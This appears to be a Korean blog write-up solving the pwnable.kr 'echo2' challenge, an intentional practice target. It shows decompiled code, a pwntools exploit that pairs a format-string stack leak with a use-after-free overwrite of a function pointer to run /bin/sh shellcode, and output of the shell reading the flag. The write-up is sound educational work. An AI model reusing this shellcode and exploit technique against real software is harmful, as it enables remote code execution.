콘텐츠로 건너뛰기

echo2

Description

Pwn this echo service.

download : http://pwnable.kr/bin/echo2

Running at : nc pwnable.kr 9011

checksec

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
ubuntu@wh1te4ever-main:~/Desktop/pwnable.kr-CTF/echo2$ checksec ./echo2
[*] '/home/ubuntu/Desktop/pwnable.kr-CTF/echo2/echo2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
ubuntu@wh1te4ever-main:~/Desktop/pwnable.kr-CTF/echo2$ checksec ./echo2 [*] '/home/ubuntu/Desktop/pwnable.kr-CTF/echo2/echo2' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
ubuntu@wh1te4ever-main:~/Desktop/pwnable.kr-CTF/echo2$ checksec ./echo2
[*] '/home/ubuntu/Desktop/pwnable.kr-CTF/echo2/echo2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

Decompiled-src

main

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
int __fastcall main(int argc, const char **argv, const char **envp)
{
_QWORD *v3; // rax
unsigned int i; // [rsp+Ch] [rbp-24h] BYREF
__int64 v6[4]; // [rsp+10h] [rbp-20h] BYREF
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
o = malloc(0x28uLL);
*((_QWORD *)o + 3) = greetings;
*((_QWORD *)o + 4) = byebye;
printf("hey, what's your name? : ");
__isoc99_scanf("%24s", v6);
v3 = o;
*(_QWORD *)o = v6[0];
v3[1] = v6[1];
v3[2] = v6[2];
id = v6[0];
getchar();
func[0] = (__int64)echo1;
qword_602088 = (__int64)echo2;
qword_602090 = (__int64)echo3;
for ( i = 0; i != 121; i = getchar() )
{
while ( 1 )
{
while ( 1 )
{
puts("\n- select echo type -");
puts("- 1. : BOF echo");
puts("- 2. : FSB echo");
puts("- 3. : UAF echo");
puts("- 4. : exit");
printf("> ");
__isoc99_scanf("%d", &i);
getchar();
if ( i > 3 )
break;
((void (*)(void))func[i - 1])();
}
if ( i == 4 )
break;
puts("invalid menu");
}
cleanup();
printf("Are you sure you want to exit? (y/n)");
}
puts("bye");
return 0;
}
int __fastcall main(int argc, const char **argv, const char **envp) { _QWORD *v3; // rax unsigned int i; // [rsp+Ch] [rbp-24h] BYREF __int64 v6[4]; // [rsp+10h] [rbp-20h] BYREF setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL); o = malloc(0x28uLL); *((_QWORD *)o + 3) = greetings; *((_QWORD *)o + 4) = byebye; printf("hey, what's your name? : "); __isoc99_scanf("%24s", v6); v3 = o; *(_QWORD *)o = v6[0]; v3[1] = v6[1]; v3[2] = v6[2]; id = v6[0]; getchar(); func[0] = (__int64)echo1; qword_602088 = (__int64)echo2; qword_602090 = (__int64)echo3; for ( i = 0; i != 121; i = getchar() ) { while ( 1 ) { while ( 1 ) { puts("\n- select echo type -"); puts("- 1. : BOF echo"); puts("- 2. : FSB echo"); puts("- 3. : UAF echo"); puts("- 4. : exit"); printf("> "); __isoc99_scanf("%d", &i); getchar(); if ( i > 3 ) break; ((void (*)(void))func[i - 1])(); } if ( i == 4 ) break; puts("invalid menu"); } cleanup(); printf("Are you sure you want to exit? (y/n)"); } puts("bye"); return 0; }
int __fastcall main(int argc, const char **argv, const char **envp)
{
  _QWORD *v3; // rax
  unsigned int i; // [rsp+Ch] [rbp-24h] BYREF
  __int64 v6[4]; // [rsp+10h] [rbp-20h] BYREF

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  o = malloc(0x28uLL);
  *((_QWORD *)o + 3) = greetings;
  *((_QWORD *)o + 4) = byebye;
  printf("hey, what's your name? : ");
  __isoc99_scanf("%24s", v6);
  v3 = o;
  *(_QWORD *)o = v6[0];
  v3[1] = v6[1];
  v3[2] = v6[2];
  id = v6[0];
  getchar();
  func[0] = (__int64)echo1;
  qword_602088 = (__int64)echo2;
  qword_602090 = (__int64)echo3;
  for ( i = 0; i != 121; i = getchar() )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        puts("\n- select echo type -");
        puts("- 1. : BOF echo");
        puts("- 2. : FSB echo");
        puts("- 3. : UAF echo");
        puts("- 4. : exit");
        printf("> ");
        __isoc99_scanf("%d", &i);
        getchar();
        if ( i > 3 )
          break;
        ((void (*)(void))func[i - 1])();
      }
      if ( i == 4 )
        break;
      puts("invalid menu");
    }
    cleanup();
    printf("Are you sure you want to exit? (y/n)");
  }
  puts("bye");
  return 0;
}

echo1

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
int echo1()
{
return puts("not supported");
}
int echo1() { return puts("not supported"); }
int echo1()
{
  return puts("not supported");
}

echo2

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
__int64 echo2()
{
char format[32]; // [rsp+0h] [rbp-20h] BYREF
(*((void (__fastcall **)(void *))o + 3))(o);
get_input(format, 32LL);
printf(format);
(*((void (__fastcall **)(void *))o + 4))(o);
return 0LL;
}
__int64 echo2() { char format[32]; // [rsp+0h] [rbp-20h] BYREF (*((void (__fastcall **)(void *))o + 3))(o); get_input(format, 32LL); printf(format); (*((void (__fastcall **)(void *))o + 4))(o); return 0LL; }
__int64 echo2()
{
  char format[32]; // [rsp+0h] [rbp-20h] BYREF

  (*((void (__fastcall **)(void *))o + 3))(o);
  get_input(format, 32LL);
  printf(format);
  (*((void (__fastcall **)(void *))o + 4))(o);
  return 0LL;
}

echo3

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
__int64 echo3()
{
char *s; // [rsp+8h] [rbp-8h]
(*((void (__fastcall **)(void *))o + 3))(o);
s = (char *)malloc(32uLL);
get_input(s, 32LL);
puts(s);
free(s);
(*((void (__fastcall **)(void *))o + 4))(o);
return 0LL;
}
__int64 echo3() { char *s; // [rsp+8h] [rbp-8h] (*((void (__fastcall **)(void *))o + 3))(o); s = (char *)malloc(32uLL); get_input(s, 32LL); puts(s); free(s); (*((void (__fastcall **)(void *))o + 4))(o); return 0LL; }
__int64 echo3()
{
  char *s; // [rsp+8h] [rbp-8h]

  (*((void (__fastcall **)(void *))o + 3))(o);
  s = (char *)malloc(32uLL);
  get_input(s, 32LL);
  puts(s);
  free(s);
  (*((void (__fastcall **)(void *))o + 4))(o);
  return 0LL;
}

cleanup

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
void cleanup()
{
free(o);
}
void cleanup() { free(o); }
void cleanup()
{
  free(o);
}

Solution

1. main 함수의 v6 지역변수에 쉘코드 삽입

2. echo2 함수를 통해 스택 주소를 leak하여 main 함수의 v6 지역변수의 주소값 획득

3. (여기서부터 UAF trigger 시작) cleanup 함수를 통해 main 함수의 o 변수를 free

4. echo3 함수를 통해 o 변수에 있던 메모리 주소를 다시한번 더 use하여,
greetings 함수주소가 적힌 주소에다가 아까 leak하여 획득하면서 획득했던 v6 지역변수의 주소값으로 덮어쓴다.

5. 이제 greetings 함수는 더이상 호출되지 않고 쉘코드가 실행된다.

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
p = remote("pwnable.kr", 9011)
#p = process("./echo2")
e = ELF('./echo2', checksec=False)
# https://systemoverlord.com/2016/04/27/even-shorter-shellcode.html
shellcode = b'\x31\xF6\x56\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xF7\xEE\xB0\x3B\x0F\x05'
p.sendlineafter(b"hey, what's your name? : ", shellcode)
p.sendlineafter(b"> ", b"2")
p.sendline(b'%9$p')
p.recvline()
leaked_stack = p.recvline().split(b'\n')[0]
leaked_stack = int(leaked_stack, 16)
success(f"leaked_stack: {hex(leaked_stack)}")
p.sendline(b"4")
p.sendline(b"n")
p.sendlineafter(b"> ", b"3")
p.sendline(b'C'*24 + p64(leaked_stack - 0x20))
p.interactive()
from pwn import * #context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') p = remote("pwnable.kr", 9011) #p = process("./echo2") e = ELF('./echo2', checksec=False) # https://systemoverlord.com/2016/04/27/even-shorter-shellcode.html shellcode = b'\x31\xF6\x56\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xF7\xEE\xB0\x3B\x0F\x05' p.sendlineafter(b"hey, what's your name? : ", shellcode) p.sendlineafter(b"> ", b"2") p.sendline(b'%9$p') p.recvline() leaked_stack = p.recvline().split(b'\n')[0] leaked_stack = int(leaked_stack, 16) success(f"leaked_stack: {hex(leaked_stack)}") p.sendline(b"4") p.sendline(b"n") p.sendlineafter(b"> ", b"3") p.sendline(b'C'*24 + p64(leaked_stack - 0x20)) p.interactive()
from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

p = remote("pwnable.kr", 9011)
#p = process("./echo2")
e = ELF('./echo2', checksec=False)

# https://systemoverlord.com/2016/04/27/even-shorter-shellcode.html
shellcode = b'\x31\xF6\x56\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xF7\xEE\xB0\x3B\x0F\x05'
p.sendlineafter(b"hey, what's your name? : ", shellcode)

p.sendlineafter(b"> ", b"2")
p.sendline(b'%9$p')
p.recvline()
leaked_stack = p.recvline().split(b'\n')[0]
leaked_stack = int(leaked_stack, 16)
success(f"leaked_stack: {hex(leaked_stack)}")

p.sendline(b"4")
p.sendline(b"n")

p.sendlineafter(b"> ", b"3")
p.sendline(b'C'*24 + p64(leaked_stack - 0x20))

p.interactive()

Result

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
ubuntu@wh1te4ever-main:~/Desktop/pwnable.kr-CTF/echo2$ python3 solve.py
[+] Opening connection to pwnable.kr on port 9011: Done
[+] leaked_stack: 0x7ffd8af398f0
[*] Switching to interactive mode
Are you sure you want to exit? (y/n)
- select echo type -
- 1. : BOF echo
- 2. : FSB echo
- 3. : UAF echo
- 4. : exit
> hello
CCCCCCCCCCCCCCCCCCCCCCCCИ\xf3\x8a\xfd
goodbye
- select echo type -
- 1. : BOF echo
- 2. : FSB echo
- 3. : UAF echo
- 4. : exit
> $ ls
echo2
flag
log
super.pl
$ cat flag
fun_with_UAF_and_FSB :)
$
[*] Interrupted
[*] Closed connection to pwnable.kr port 9011
ubuntu@wh1te4ever-main:~/Desktop/pwnable.kr-CTF/echo2$ python3 solve.py [+] Opening connection to pwnable.kr on port 9011: Done [+] leaked_stack: 0x7ffd8af398f0 [*] Switching to interactive mode Are you sure you want to exit? (y/n) - select echo type - - 1. : BOF echo - 2. : FSB echo - 3. : UAF echo - 4. : exit > hello CCCCCCCCCCCCCCCCCCCCCCCCИ\xf3\x8a\xfd goodbye - select echo type - - 1. : BOF echo - 2. : FSB echo - 3. : UAF echo - 4. : exit > $ ls echo2 flag log super.pl $ cat flag fun_with_UAF_and_FSB :) $ [*] Interrupted [*] Closed connection to pwnable.kr port 9011
ubuntu@wh1te4ever-main:~/Desktop/pwnable.kr-CTF/echo2$ python3 solve.py
[+] Opening connection to pwnable.kr on port 9011: Done
[+] leaked_stack: 0x7ffd8af398f0
[*] Switching to interactive mode
Are you sure you want to exit? (y/n)
- select echo type -
- 1. : BOF echo
- 2. : FSB echo
- 3. : UAF echo
- 4. : exit
> hello 
CCCCCCCCCCCCCCCCCCCCCCCCИ\xf3\x8a\xfd
goodbye 

- select echo type -
- 1. : BOF echo
- 2. : FSB echo
- 3. : UAF echo
- 4. : exit
> $ ls
echo2
flag
log
super.pl
$ cat flag
fun_with_UAF_and_FSB :)
$ 
[*] Interrupted
[*] Closed connection to pwnable.kr port 9011

답글 남기기